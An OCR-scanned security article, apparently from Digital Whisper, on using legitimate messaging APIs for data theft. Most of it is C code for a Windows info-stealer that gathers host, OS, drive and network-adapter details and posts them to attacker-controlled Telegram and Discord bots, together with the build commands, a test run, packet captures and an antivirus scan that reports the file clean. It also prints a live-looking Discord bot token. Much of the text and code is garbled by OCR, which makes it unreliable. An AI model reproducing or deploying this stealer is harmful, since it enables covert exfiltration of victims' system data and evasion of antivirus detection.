00:47  securitybot cor Great! To confirm this I'm going to send a Duo Push to your device. Are you okay with that? Respond with either "yes" or
"no” on their own.
(In the Push, you should see that it's from me and the alert name should be under the “reason” heading.)
00:47  Ifaraone Yes!
00:47  securitybot o7 I'msending you a Duo Push right now. Check to make sure that it's from me and then feel free to accept it.
Awesome, I've noted what you've said and should take care of this.
Thanks for helping make Dropbox worthy of trust! [5

Qctober 28th
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https://slack.engineering/distributed-security-alerting-c89414c992d6#.n90ai72da
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Exploiting Legitimate APIs for Data Theft
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SIS R L TN

system info

<windows.h>
<stdio.h>
<iphlpapi.h>

comment(lib, "iphlpapi.lib™)
int  main() {

char systeminfo[ 4096];

CHARhostName[MAX_COMPUTERNAME_LENGIH +
DWORBiIze = (hostName) / (hostName[ 0]);
GetComputerNameghostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx (&osVersion);

SYSTEM_INFO syslinfo;
GetSysteminfo (&syslInfo);

DWORM@rives = GetlLogicalDrives  ();

IP_ADAPTER_INFO adapterinfo[ 16];
DWORBdapterinfoSize = (adapterinfo);
( GetAdaptersinfo (adapterinfo, &adapterinfoSize) != ERROR_SUCCESS) {
printf  ("GetAdaptersinfo failed. Error: %d has occurred. \n", GetlLastError ());

1
}

snprintf  (systeminfo, (systeminfo),
"Host Name: %43 n"
"OS Version:  %d %d %d n"
"Processor Architecture: %d n"
"Number of Processors: %d n"
"Logical Drives: %Xn",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterinfo; adapter != NULL adapter = adapter - >Next) {
snprintf  (systeminfo +  strlen (systeminfo), (systemInfo) - strlen (systeminfo),

"Adapter Name: %434 n"

"IP Address: %3 n"

"Subnet Mask: %3 n"

"MAC Address: 902X %02X%02X%02X%02X%02Xn",

adapter - >AdapterName,

adapter - >IpAddressList.IpAddress.String,

adapter - >IpAddressList.IpMask.String,

adapter - >Address| 0], adapter ->Address[ 1], adapter - >Address[ 2],

adapter - >Address| 3], adapter ->Address[ 4], adapter - >Address[ 5]);

printf (" %S¢, systemlInfo);

0;
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S A EX TR T xSty 4 GetAdaptersinfos 4 .« " S
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@ysteminfol ~» X ¥ X% 1x %% . ¥ "1 4 .Sy {snprintfs 1.« "§ s
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AL Ay IR A0 X F e o AR T X

Wali Linut | * xixs | ot

x86_64- w64 mingw32- g++ - O2 system_info.c -0 system_info.exe - | /usr/share/mingw
wb64/include/ -s -ffunction -sections -fdata -sections -Wnewrite -strings -fno - exceptions
-fmerge - all -constants - static -libstdc ++ -static -libgcc -fpermissive - liphlpapi
Do X s T s X
@ rbit: | ~ Wihdows- x GCQ _C++ | s x86 64w64-mingw32-g++ 1
Joxog s 4 XX XS 1 .s%d 0 4 LY ¥Q2X g .
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Do s w4y X q ¥ X CAifergeall-constants |
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A

Y 1 Mindows: " x J . ¥ekes | ¥ ¥ o {7

FLARE Sat ©9/07/2024 16:37:51.31
C:\Users\elady\Downloads>.\system_info.exe
Host Name: DESKTOP-3CO5VK9
0S Version: 6.2.9200
Processor Architecture: 9
Number of Processors: 1
Logical Drives: 200000C
Adapter Name: {B3E3EB39-C435-46AF-BA46-27C3AC1E9CA9}
IP Address: 192.168.7.22
255.255.255.0
00-0C-29-71-FC-B9
{AS53D76EC-AB72-4F9A-A177-ECECOE7BDF1F}
IP Address: 169.254.10.128
Subnet Mask: 255.255.0.0
MAC Address: ©02-00-4C-4F-4F-50

Foo Yo foxXx g - S Xisx ox o] )
Y X X s, X d{X « X% | X gewbct
{name_of_the bot }

{username_for_the bot }

SYIdl» s% .7

BotFather & a Bot Info

1- generate authorization token
revoke bot access token

oggle inline n
toggleinline

BotFather &

- change in! ettings
- can your bot be added to groups? |
- toggle privacy mode in groups |
BotFather is the one bot to rule
Webpps @ them all. Use it to create new
myapps - edit your web apps

bot accounts and manage your
existing bots.

- Create a new web app
- get a list of your web apps

- edit a web app

op - delete an existing web app

D

es - edit your game
Create a new game
get alist of your games - g
edita game

e - delete an existing game

Notifications

G 2sharedlinks

L=

Alright, a new bot. How are we going to call it? Please choose a name

Bot Privacy Policy
for your bot. DI

eladtest1bot

Ao . J 4 Z =2 m
Good. Now let's choose a username for your bot. It must end in
"bot". Like this, for example: TetrisBot or tetris_bot.

BT S =
] —

| eladtest1bot 28y £L =
S I S )

W

Done! Congratulations on your new bot. You will find it at

| tme/el <t1bot. You can now add a description, about section
and profile picture for your bot, see /help for a list of commands. By

the way, when you've finished creating your cool bot, ping our Bot

Support if you want a better username for it. Just make sure the bot

is fully operational before you do this.

s the HTTP API:

anyone to control your bot.

For a description of the Bot API, see this page!

Exploiting Legitimate APIs for Data Theft
www.DigitalWhisper.co.il
nT H e X X167 x 4 (¥



https://telegram.me/BotFather

Technologic

14 480 X7 x X

Yip: X - pythdntelegrambots { 4 .+ «x % 4

>
kali@kali: ~/Desktop/Viruses
File Actions Edit View Help
)-[~/Desktop/Viruses |

install python-telegram-bot
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: python-telegram-bot in /home/kali/.local/lib/python3.10/site-packages (21.5)
Requirement already satisfied: httpx~=0.27 in /home/kali/.local/lib/python3.1@/site-packages (from python-telegram-bot)
Requirement already satisfied: anyio in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (3.6.1)
Requirement already satisfied: sniffio in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (1.2.0
Requirement already satisfied: httpcore=1.* in /home/kali/.local/lib/python3.10/site-packages (from httpx~=0.27—pytho
5)
Requirement already satisfied: certifi in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (2020.4
Requirement already satisfied: idna in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (3.3)
Requirement already satisfied: h11<0.15, 20.13 in /usr/lib/python3/dist-packages (from httpcore=1.x—>httpx~=0.27—-pyth
3.0)

S8 T T e @ AL S X G X TR 00
Y ~x X s iS o X er/bot_pyx 1 -+ 4 PBhx X s

logging
telegram ForceReply, Update
telegram.ext Application, CommandHandler, ContextTypes, MessageHandler, filters

logging. basicConfig (
format ="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
level =logging.INFO

)

logging. getLogger ("httpx" ). setLevel (logging. WARNING)
logger logging. getlLogger (__name_ )

def start (update:Update, context : ContextTypes.DEFAULT_TYPE) -> None

user update.effective_user
update.message. reply_html (
rf "Hi {user. mention_html ()} !",
reply_markup =ForceReply (selective =True),

def help_command update : Update, context : ContextTypes.DEFAULT_TYPE) -> None

update.message. reply _text ("Help!" )

def echo(update: Update, context : ContextTypes.DEFAULT_TYPE) -> None
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logger. info (f"ChatID: {update.message.chat_id} ")
update.message. reply text (update.message.text)

main() -> None

application

application.
application.

application.

application.

name__
main()

Application.  builder (). token ("YOUR_BOT_TOKEN_HBRBEUild ()

add_handler (CommandHandlef"start" , start))
add_handler (CommandHandle(“help" , help_command))

add_handler (MessageHandler (filters. TEXT filters. COMMAND, echo))

run_polling (allowed_updates =Update.ALL_TYPES)

" _main__":

Y x <8, 4 % "X | x echoi xs*% «

YLogging) * _ " % 4§ ¥ s
T A< -4 % 4 ISINFOY X _ 4. $ x4 " 41X 4% { X g
P37 I {iske « _ { LWARNING © ~ ! vhttpx~ X * X _ . 5
®ITTP

x | x,_“x, )X. 114 « <0 Ix y) s

XX B4 o GSHargss ! ox @ P 0x 0 . s« shart(update, context)

a

L 2 4.

{1 ¢ 0% k %2

HTML & ey o0 o4~

< Jhelps ! x <3 x 1 s «:help_command(update, context)

PHelp!"1 | « tss 1 xs

a

x | I_xxs)><..|.|-|.| oy Ixy)s

(=
¥
Z_l_
p—
)
s
-,
<

Ly s 1 . « fechg(update, context) 1
L X« Pk « ¥s X<

v

n d
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Ynains 1 « « 7 %

g x ¥ s Applicationt Xos

A > ~

dhelp-x/start - x | xCommandHandlex | 1 , ¥ _
.

x 4 24y srIx | Tix s{1* MessageHandley |

Qolling: x L X XITx{sCs s 4 T4 x Xss |

X s

AN

A >

X\.qp&( XLSNX: LX‘;L>'|-|:S ZL mins'l\\\ ”‘IZ \'IS/ 'I// w ” XJXP\\\Sﬂ

~ v~ A > ~ ~ > > o v ow

¥ L X , X*iss o,
[N

ladtest1 .
? i es Q O : Bot Info X
bot
e eladtest1
bot
@ @ﬁ\afﬁfsf‘oo: O
Q Notifications (D
& 5 shared links
+,9, Add to Group
Bot Privacy Policy
Report
Stop and block bot
Yinuxs 4 x

~/Desktop/Viruses
mybot py
] l%,ﬁql apscheduler.scheduler - INFO - Scheduler started
J'l,,. telegram.ext.Application - INFO - Appll(drlon started
f95 __main__ - INFO - Chat ID: ,

__main__ - INFO - Chat ID:
~_main__ - INFO - Chat ID:
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[2gger.info(f'Chat ID: {update.message.chat_id}")- ® Ochat ids s« 4 - Pogx

> v ~ ~

D" x]IXS sxSISfs 4§ 5 X vapks s ISdhexX N b X Jdh 1SS f . X TT T .

Lo xs T X, ¥ 9 s system infes X L _wAX ] X % 0T DX Gx DX LT X X
¥ 1. sX .s{9d

<stdio.h>
<stdlib.h>
<string.h>
<windows.h>
<winhttp.h>
<iphlpapi.h>

int sendToTgBot( char * message) {
char * chatld = "6136171211" ;
HINTERNET hSession = NULL
HINTERNET hConnect = NULL,

hSession = WinHttpOpen( L"UserAgent" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS,
(hSession == NULI) {
fprintf  (stderr, "WinHttpOpen failed. Error: %d n", GetLastError ());
l.

hConnect = WinHttpConnect (hSession, L"api.telegram.org" , INTERNET_DEFAULT_HTTPS_PORI);
(hConnect == NULI) {
fprintf  (stderr, "WinHttpConnect failed. Error: %d n", GetLastError ());
WinHttpCloseHandle (hSession);
ik

HINTERNET hRequest = WinHttpOpenRequest (hConnect, L"POST",
L"/bot{YOUR_HTTP_API_TOKEN_HERE}sendMessage" NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

(hRequest == NULL {
fprintf  (stderr, "WinHttpOpenRequest failed. Error: %d n", GetLastError ());
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);
ik

char requestBody[ 512];
sprintf  (requestBody, "chat_id= %text= %S¢, chatld, message);

(! WinHttpSendRequest (hRequest, L"Content - Type: application/x - wwwform -
urlencoded \r\n", -1, requestBody, strlen (requestBody), strlen (requestBody), 0)) {
fprintf  (stderr, "WinHttpSendRequest failed. Error: %d n", GetLastError ());
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);
1;
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}

WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hSession);

printf  ("Message successfully sent to Telegram bot.

)

main(int argc, char*argv[]) {

char test[ 1024];

char * message = "a4ng is the best character" ;
snprintf  (test, (test), "\ "text \":\"%s\"}" , message);
sendToTgBot(test);

char systeminfo[ 4096];

CHARhostName[MAX_COMPUTERNAME_LENGIH +
DWORBize = (hostName) / (hostName[ 0]);
GetComputerNameghostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx (&osVersion);

SYSTEM_INFO sysiInfo;
GetSystemlInfo (&sysInfo);

DWORMDrives =  GetLogicalDrives  ();

IP_ADAPTER_INFO adapterinfo[ 16];
DWORRdapterinfoSize = (adapterinfo);
(GetAdaptersinfo (adapterinfo, &adapterinfoSize) != ERROR_SUCCESS) {
printf  ("GetAdaptersinfo failed. Error: %d n", GetLastError ());
ik

snprintf  (systeminfo, (systeminfo),
"Host Name: %3 n"
"OS Version:  %d %d %d n"
"Processor Architecture: %d n"
"Number of Processors: %d n"
"Logical Drives: %Xn",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterinfo; adapter != NULL, adapter = adapter - >Next) {
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snprintf  (systemInfo +  strlen (systeminfo), (systemInfo) - strlen (systeminfo),
"Adapter Name: %s34n"
"IP Address: %3 n"
"Subnet Mask: %3 n"
"MAC Address: %02X%02X%02X%02X%02X%02Xn\ n",
adapter - >AdapterName,
adapter - >IpAddressList.IpAddress.String,
adapter - >IpAddressList.IpMask.String,
adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address| 2],
adapter - >Address|[ 3], adapter - >Address[ 4], adapter - >Address| 5]);

char info[ 8196];
snprintf  (info, (info), "\ "text \":\"%s\ "}, systemiInfo);
int result=  sendToTgBot(info);

(result == 0) {
printf  ("System information sent successfully.

printf  ("Failed to send system information.

P Yo JAPR S T4 0

14Ad, 0y JAPIE x v » ¥ 9 .s o X80« .séndToTgBot 1 « « " X
YVindowst WIinHTTP
User-s ‘s« { k Y x> WinHttpOpenr HTTP _ - 1 : 3% 4 . < HITPs_: 14" ¢
~ X415 « Agent
r apitelegram.orgs X X LY o JAPE C oL s X T e 4 ® oY 10 . o X AT
VinHttpConnect
X x I Jlw s 7« “WinHttpOpenRequest  POST _ « X, Sx{{. « X ( &Is” | sq
dxx T ox1s 145 % bet{fYOQUR_HTTP_API_TOKEN_HERE}/sendMessage
(Chat ID)I { ss s ¢« . x™ UREkencodedl _ ~ xs 787 X sxiy X sxiy{ { "
®Messagey , ! x s s x
x 3 1o s I xises | x\linHttpSendRequest s _ « X sT L ¥7_ « Xis1 4L

<

S « X's

~

X, % 17 (Handles) * 40 #3141 15cv¥d » X ¥ 4 1 ¥ q
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1. g x 4«
oY fox X ¥ x X % ssyx Isgs, 14 X At omBinS 1 o <7 X
"adngisthe bestcharactet" |, ~ # Sp ~» yu A x93, 9 I x®L A" ¢ 1 XF4 L9
A4 x ] sendToTgBot 4 « « "wxx 1sX1 ]
Sl ixes 4 ps Yy x D7 usg 1T xxlqlss Y 4 ], L x4
oo Y xSy TS Yo T4 9 4D g
X X xix P ox "
Ao o As e x 3 x s oxides L ] st XK L1y
P oisp g sl T LB A A AWMl 14 xSk 1
+ 1 -+ o K @adapterinfo
YA,
x86_64- w64 mingw32- g++ - O2 mybot.c -0 mybot.exe -|/usr/share/mingw -w64/include/ -s -
ffunction -sections -fdata -sections -Wnewrite -strings -fno - exceptions -fmerge-all -
constants -static -libstdc ++ -static -libgcc -fpermissive - liphlpapi - lwinhttp
SLoX s s o x % Xindowst  _WinHttps 4 4 oo, 1 *swinhttpx 7 x4
{"text":"adng is the best character"} ":
{"text":"Host Name: DESKTOP-3C0SVK9 W | B C\Windows\System32\cmd.exe
05 Version: 6.2.9200 '
Processor Architecture: 9 B
Number of Processors: 1
Logical Drives: 200000C SF
Adapter Name: {B3E3EB39-C435-46AF-BA46-27C3ACTE9CAT}
IP Address: 192.168.7.22
| Subnet Mask: 255.255.25¢
MAC Address: 00-0C-29-71-FC-B9
| Adapter Name: {AS3D76EC-AB72-4F9A-A177-ECECIE7BDF1F} 3
| IP Address: 1¢ 10.12 4
- ™ Subnet Mask: 255.25 i
L MAC Address: 02-00-4C-4F-4F-50 i
F B 2
=’ 4
e v
MViresharke  « =~ X X1 xF H4.4 VL
S wd S L XN XL X XTI o Lo x Tx 4 X X %] x T{{ %] Wireshark
X 12X LXB . 1., % X(packetsy 1 7 x Zx’”!s:v X okd Lt s X5 x o

« S fliv] . X TOP, UDP, HTTP, DNS X3 A L X « ¥ FX1.0 x xJy_ xXx@® s = | x s

Lloxs L XY Xy P XY s T i Witesharke | SB X X | STsx vt o, 13X Y o

@A LK AVTOSE A ¥ PL X XX DS T e XK ) s
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A;

[ + Z-|\E . -{svxxx~ ><-|=-|)sx2‘_”s><ks-|x" X: Zv ”-|E},,x(.‘2-|-|ll_”-|AZ - $71 1 %X wa X I X x
P e A9 X T I e LT 2 x4 Y AxT 44 x A Y 4+ 1 Wiresharkr s 47 { X
(captures) - x 1 1 s¢ x ¥ © Wifeshark: ~ ¢ ‘@ « 41 +44141 2xy e 1 <

P X XA INAT L T T 1 KT S AL s s L]

L xS 00N 1% g X8 g L ST X X X X T K e ] XX

ST X 3% Asd xKX X LsT 41 Ns X b X X X |, X

T L X X L kKT 0L F LS o T X w4 TR LS B S X

s 1l xXss” 1T &1 TCR x 1 s, "
A ~ o~ ~ ~ >
0. Time Source Destination Protocol  Length Info

25 5.204375 2001:67c:4e8: 2a@5:bb8@:3crac2f:7.. TLSv1.2 1474 Certificate [TCP segment of a reassembled PDU]
26 5.294377 2001:67c:4e8: 2a@5:bb8@:3c:ac2fi 7. TLSv1.2 184 server Key Exchange, Server Hello Done

LAY ELLS ags.hbaa.ac. LT AR v IS I L Iio AnA0Rll ooads Tack] cepolad fckoscoog Linooe3les donon
28 5.3082364 2a@5:bb8@:3c: :7... (268 TLSv1.2 167 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message I
I e Gl paeielo pa ot L a g g ey B L= ) e g o) oo L ) e B e
38 5.438385 2a@5:bb8@:3c: 2801:67c:4e8:T004::9 TLSv1.2 323 Application Data
31 5.438520 2a85:bb8@:3c: 2801:67c:4e8:7004::9 TLSv1.2 164 Application Data
32 5.554@51 2@81:67c:4e8: 2a@5:bb8@:3crac2f:7.. TCP 74 443 + 49811 [ACK] Seq=5301 Ack=616 Win=31744 Len=8
33 5.593784 2001:67c:4e8: 2a@5:bb88:3c:iac2fi 7. TLSv1.2 780 Application Data
34 5.603898 2a@5:bb8e:3c: .. 2001:67c:4e8:T004::9 TLSv1.2 324 Application Data
35 5.684158 2a@5:bb8@:3c: 17.. 2001:67c:4e8:T064::9 TLSv1.2 534 Application Data
36 5.787644 2001:67c:4e8: 2a@5:bb80:3c:ac2f:7.. TCP 74 443 + 49811 [ACK] 5eq=65@7 Ack=1326 Win=33792 Len=0
37 5.747@29 192.168.7.28 239.255.255.256 uDpP 698 59837 + 3782 Len=656

" " “ 2

HMvhois1 L 1 5 s § X x | destinationt . _- * x 2 kS 4 0 ps{uwxx” [T¢%

~

JE L T A L X E S P X X Pk, L & 4 X Whois
P27 e o x DA s oo x PO WHoist x| o DNSH oo 4 S pixx 4 1. q . .

TR I I BRI S TR o VS e PP SN 31 I IS SN G b S O R LI
APT X X % P K XA X A o X

Ydinux-s 1 x ‘whois {IPf ! x & *sx I Jwhois, 1 ~
% Information related to '2001:67c:4e8::/48AS62041"'
route6: 2001:67c:4e8:: /48

descr: Telegram IPv6 Network
origin: AS62041

mnt-by: MNT-TELEGRAM
created: 2014-04-05T13:59:38Z
last-modified: 2014-04-05T13:59:38Z
source: RIPE

MVebsec Malware Scanner * " | X X & X X 0B 8T D HY P OT L X

x g Uy AL A x4 7 1 X4 <] X Websec Malware Scanner

PURB | oIS s DX X o a0 F® 4L X A(Maware): X 4 7 x 1S

a

41 % {7 (Code Injection) Xiew -~ £ SIIX L 833 4 X X . 43 K KIx s § |

XA JX o dd vTsxx XD o X3P xsC] 1 X x4 4 1 Loxx TexwWl o Websec
LS o xs,™x XX b1 K™y s 1o v sT 41 %8 48”7 § Websec

P xSy A T Jidel 91 s L% ows s 11 X% s
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« H L « 1~ s LS S 8 0 (X IS XXES S XLl XX 7 X X I X X XX
Scan ID: @8@6a0b@-T043-4564-3081-abdfebdbb422
mybot.exe [43 k8]
SCAN STATUS [IN PROGRESS]
v, SCANNED 39/39
NOTIFY ME WHEN COMPLETE.
yourname@example.org m
Antivirus: Adaware Status: ) Clean
Antivirus: Alyac Status: (¢ Clean
Antivirus: Amiti Status: J Clean
Antivirus: Arcabit Status: O Clean
Antivirus: Avast Status: (J Clean
Antivirus: Avg Status: (I Clean
Antivirus: Avira Status: () Clean
Antivirus: Bullguard Status: (J Clean
SHOXTHP B X P f X XIe® « y f X 0 thIX oy -
G x Lyt APIS | U X« oas{§s. 1 eSS {3 4 T S K G
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?Discord Bot |, ! + 14 * 1 ¥%w

(servers) 1 ¢ » ol s X HL | L., s K x0T x ixyls o x4 ]
RN A SR R B R AC RE DL S AT S B IRt TS RS B .S R RN S
L loxs Lo PO 1T TR X X X T XA DX % F e DK1Y s

< ~ ~ ~ ~ >

YL X s X

~

L AT KT O A B X T RS T g o XX, x (]
P2 B X sERTE e 4 o xpdxxsef IR L X K0T 4 x X % K] Xl X x Los T LS
Fsid Me  wDoxbog ol s ce kg g X TLX IR L8y

ERELRINEEE

e b p A A el XIS e tusxo X0 f e 4 e (APIS),

X "l s e s R Sk s ST s X

v oow

1 x.Xx x4 % %

Y | Application, X S4v(Xks* x 1 [ ] sAAXXx ¢ A ¢ X

APPICON NAME

@ eladapp

DESCRIPTION (MAXIMUM 400 CHARACTERS)

TAGS (MAXIMUM 5)

Addupto5

APPLICATION ID

128166 1659T27003759

Copy
PUBLIC KEY
e3db4ab51d10c4TcT6cB8di4e08134cBdaffLdfOfa8418f428df34562T08ed2483

Copy

Applications Applications

Teams Develop

Embed

SortBy:  Date Created v 28 Small 39 Large

Documentation

My Applications

Exploiting Legitimate APIs for Data Theft
www.DigitalWhisper.co.il
P T H e X X167 x 4 (¥



https://discord.com/developers/applications

Technologic

Bot Permissions

Need some help with bit math? Use the tool below to calculate the permissions integer for your bot based on the features it needs.

GENERAL PERMISSIONS TEXT PERMISSIONS

Administrator

T4l _ddd « 1. 4s. Hoth: x » _ p ~ X TpL LXZ ~ 544

VOICE PERMISSIONS

s A, xR

s k%L EQO. sLoxi 4.y RESETTOKEN, *x 112 % © r__~ 11 ¥ s |

USERNAME

eladbot

TOKEN
For security purposes, tokens can only be viewed once, when created. If you forgot or lost access to your token, please regenerate a new one.

MTI4AMTY2MTY10TcyNzAwMzc10Q.G5KSUA.GDWyxM73ccCP-BwecMmmlt7V_b8-_BuMrWt92sg

Copy Reset Token

~ v~

Yadministrator.

Yo GIsX ox oIs [CXop A ~><><Z’A[]§>S ¥ P T I S

https://discord.com/api/oauth2/authorize?client _idApplication|D&permissions=0&scope=bot

¥ 1« dive 25 o4 U Applicationids s ‘client_idt ~ _ -« |

>

Success!

eladapp has been authorized and added to adng's test

Go to adng's test
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S N LR R

adng's test

general

E CHANNELS
Invite

General

Copy Link

Mute Channel

Notification Settings

Edit Channel
Duplicate Channel

Create Text Channel

Copy Channel ID m

N x=“VL¢s,sL Lo~ 4

<stdio.h>
<stdlib.h>
<string.h>
<windows.h>
<winhttp.h>
<iphlpapi.h>

DISCORD_BOT_TOKHREPLACE WITH THE BOT TOKEN?

DISCORD_CHANNEL_TREPLACE WITH THE CHANNEL 1D’

sendToDiscord ( char * message) {
HINTERNET hSession = NULL
HINTERNET hConnect = NULL,
HINTERNET hRequest = NULL,

hSession = WinHttpOpen(L"UserAgent" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYJPASS,
(hSession == NULD {
fprintf  (stderr, "WinHttpOpen failed. Error: %d n", GetLastError ());
1-
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hConnect = WinHttpConnect (hSession, L"discord.com” , INTERNET_DEFAULT_HTTPS_PORT,
0);
(hConnect == NULLD) {
fprintf  (stderr, "WinHttpConnect failed. Error: %d n", GetLastError ());
WinHttpCloseHandle (hSession);
1

hRequest = WinHttpOpenRequest (hConnect, L"POST", L"/api/vl0/channels/"

DISCORD_CHANNEL_TDnessages” , NULL WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_T
WINHTTP_FLAG_SECURE);

(hRequest == NULLD) {

fprintf  (stderr, "WinHttpOpenRequest failed. Error: %d n", GetLastError ());

WinHttpCloseHandle (hConnect);

WinHttpCloseHandle (hSession);

ik

(! WinHttpAddRequestHeaders (hRequest, L"Authorization: Bot " DISCORD_BOT_TOKEN
"\ r\ nContent - Type: application/json \r\n", -1, WINHTTP_ADDREQ_ FLAG_ADD)) {
fprintf  (stderr, "WinHttpAddRequestHeaders failed. Error: %dn",
GetlLastError ());
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hConnect);
WinHttpCloseHa ndle (hSession);

1;

char json_body[ 1024];
snprintf  (json_body, ()son_body), "{\"content \": \"%s\"}" , message);

(! WinHttpSendRequest (hRequest, NULL -1, ( LPVOIDjson_body, strlen (json_body),
strlen (json_body), 0)){
fprintf  (stderr, "WinHttpSendRequest failed. Error: %d n", GetLastError ());
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);
1

BOOLhResponse = WinHttpReceiveResponse (hRequest, NULL;
('hResponse) {
fprintf  (stderr, "WinHttpReceiveResponse failed. Error: %d n", GetLastError ());

DWORDBode = 0;
DWORIDodeS = (code);

(WinHttpQueryHeaders (hRequest, WINHTTP_QUERY_STATUS_CODE |
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS,
WINHTTP_NO_HEADER_INDEX)) {

(code == 200) {
printf  ("Message sent successfully to Discord. \n");
}

printf  ("Failed to send message to Discord. HTTP status code: %d n", code);
}

{
DWORIerror =  GetLastError ();
LPSTRbuffer=  NULL
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FormatMessageAFORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SY]
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL error, 0, ( LPSTR&buffer, 0, NULL;
printf  ("Unknown error: %3 n", buffer);
LocalFree (buffer);

WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hSession);

0;

main(int argc, char*argv[]) {

char * test message =  "a4ng is the best character"
sendToDiscord (test_message);

char systeminfo[ 4096];

CHARhostName[MAX_COMPUTERNAME_LENGIH +
DWORBize = (hostName) / (hostName[ 0]);
GetComputerNameghostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx (&osVersion);

SYSTEM_INFO syslinfo;
GetSystemlInfo (&sysInfo);

DWORMDrives =  GetLogicalDrives  ();

IP_ADAPTER_INFO adapterinfo[ 16];
DWORRdapterinfoSize = (adapterinfo);
(GetAdaptersinfo (adapterinfo, &adapterinfoSize) = ERROR_SUCCESS) {
printf  ("GetAdaptersinfo failed. Error: %dn", GetLastError ());
ik

snprintf  (systeminfo, (systeminfo),
"Host Name: %s"
"OS Version:  %d %d %d "
"Processor Architecture: %qd "
"Number of Processors: %d "
"Logical Drives: %X"
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.d wBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
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(PIP_ADAPTER_INFO adapter = adapterinfo; adapter != NULL adapter = adapter

>Next) {

snprintf  (systemInfo +  strlen (systeminfo), (systeminfo)
strlen  (systeminfo),

"Adapter Name: %s "

"IP Address: %s "

"Subnet Mask: %s "

"MAC Address: %02X%02X%02X%02X %02X%02X,

adapter - >AdapterName,

adapter - >IpAddressList.IpAddress.String,

adapter - >IpAddressList.[pMask.String,

adapter - >Address| 0], adapter ->Address| 1], adapter - >Address| 2],

adapter - >Address| 3], adapter ->Address| 4], adapter - >Address| 5]);

sendToDiscord (systemInfo);
0;

Ynairt sendToDiscord © X 4:-Xeddefai” XX | X1 oy 8 1 X @pS{ X T X x | x

X, X«$s 4 MANHTTR x . Discdrd- ~ _-LX *: 411" XendToDiscord 1 1 « ~ { X

” ss X x y. s o | X EDiscordrf x s I xPBL XISON L X X XS Xy s X

>

Ao xiilsdys X {yx b x g | X
Lo Tk, T X0 1T s, P 4, Discordr S o« 4 XX FLomaint 44w x|
TH T ® A S X I XA v ISR A esE Y

®endToDiscord 1 1 «:«x” x. DiscSrdt * _ 1 1 s I 4: 8 T L X

An ~ ~

¢
%]

o YLD X s Lox ] Lg% o Sea f Yo xe S X,

x86_64- w64 mingw32- g++ - O2 discord_stealer.c -0 discord_stealer.exe - | fusr/share/mingw
wb4/include/ -s -ffunction -sections -fdata -sections -Wnewrite -strings - fno - exceptions
-fmerge - all -constants - static -libstdc ++ -static -libgcc -fpermissive - liphlpapi -
Iwinhttp

Y 1 Wihdowst - 7 * éxe,L™ X:ws& 4 1 83% ¥ X

eladbot

eladbot /APP
adng is the best character

Host Name: DESKTOP-3CO5VK9, OS Version: 6.2.9200, Y successfully

Processor Architecture: 9, Number of Processors: 1, Logical r successfully
Drives: 200000C, Adapter Name: {B3E3EB39-C435- 46AF

255.255.255.0, MAC Address: 00-0C-29-T1-FC-B9Adapter
Name: {AS3D76EC-ABT2-4F9A-A1T7- ECEC9ETBDF1F}, IP
Address: 169.254.10.128, Subnet Mask: 255.255.0.0, MAC
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YWiresharkt « x I * 7
(= -4 fo] N M R & = = 1 & | = = “h “h <X I
H|up¢mr == 443

Mo, Time Source Destination Protocol  Length
38 8.465359 162.159.138.232 - = TLSv1. 2 312
31 8.478869 192.168.7.22 iTLSw1.2 358
32 8.471814 192.168.7.22 L. 133, 150. TLSvl. 2 124
33 8.538995 162.159.138.232 192.168.7.22 TCP 68

INTERNET_DEFAULT _HTTPSHPORT. _ X " s~ x xHtplport == 448 1 (s 1 _ _ © _
¥162.159.138.232 ~ x X:{<.xsi: ksf T { X{slwhois¥ _ _ : _n3n-0X S _

NetRange: 162.158.0.0 - 162.159.255.255
CIDR: 162.158.0.0/15

NetName: CLOUDFLARENET

NetHandle: NET-162-158-0-0-1

Parent: NET162 (NET-162-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS13335

Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2013-05-23

¢ +."By default, the DNS over Discord bot uses Cloudflare'sL1LIDNS servicegt! " ~ 1 41 4 + s
